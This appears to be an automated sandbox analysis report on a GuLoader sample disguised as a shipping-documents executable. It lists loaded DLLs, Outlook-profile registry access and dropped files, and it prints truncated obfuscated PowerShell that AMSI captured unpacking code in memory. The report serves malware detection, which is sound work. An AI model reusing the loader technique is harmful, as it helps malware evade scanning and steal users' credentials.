Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: Shipping documents 000022999878999800009999.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5 source: powershell.exe, 00000002.00000002.2768740707.00000000005FA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: qm.Core.pdbE source: powershell.exe, 00000002.00000002.2775532254.0000000006CDD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbhx source: powershell.exe, 00000002.00000002.2779696439.0000000007FFE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb source: powershell.exe, 00000002.00000002.2779696439.0000000007FA0000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000008.00000002.3376516352.0000000004687000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2780799795.00000000094D7000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Freethinker $Fieldmouse $Maalscorers), (Waxen @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Bobles178 = [AppDomain]::CurrentDomain.GetAssemblies()$global
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Trachinus)), $Tenty132).DefineDynamicModule($Flugtskydningsbaner, $false).DefineType($Reconvoke, $Generalprverne, [System.MulticastDel

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0424A4ED pushad ; iretd	2_2_0424A53B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0424E14C pushfd ; iretd	2_2_0424E155
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0424CC1F pushfd ; iretd	2_2_0424CC61
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0424CA88 push C807E588h; ret	2_2_0424CA8D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_042415CC push ebx; iretd	2_2_042415DA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04241D1C pushad ; retn 006Bh	2_2_04241D92
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04241DA7 pushad ; retn 006Bh	2_2_04241DB2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04241DB7 pushad ; retn 006Bh	2_2_04241DB2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04241DBC pushad ; retn 006Bh	2_2_04241DC2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04241AAC push ss; retf	2_2_04241AC3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04241B64 push eax; retf	2_2_04241B73
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04241B5C push eax; retf	2_2_04241B63
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06EF2525 push ebp; retf	2_2_06EF252E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06EF2538 push esp; retf	2_2_06EF272A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06EF236C push ebx; retf	2_2_06EF237A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06EF2160 push ebx; retf	2_2_06EF217A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06EFE174 push 84E80818h; iretd	2_2_06EFE179
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06EF0EF9 push eax; retf	2_2_06EF0EFA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06EF2E20 push esp; retf	2_2_06EF305A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06EFEDA8 push edx; ret	2_2_06EFEDAB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06EF2AD1 push esp; retf	2_2_06EF2AD2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06EF0850 push ecx; retf	2_2_06EF09C2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06EF2929 push ebp; retf	2_2_06EF292A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06EF3169 push edi; retf	2_2_06EF316A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06EF1EC4 push esi; retf	2_2_06EF1ED2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06EF1E79 push edx; retf	2_2_06EF1E7A
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 8_2_00830C6D push edi; retf	8_2_00830C7A

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\acneform\Baroco\Shipping documents 000022999878999800009999.exe			Jump to dropped file
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	File created: C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll			Jump to dropped file

Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
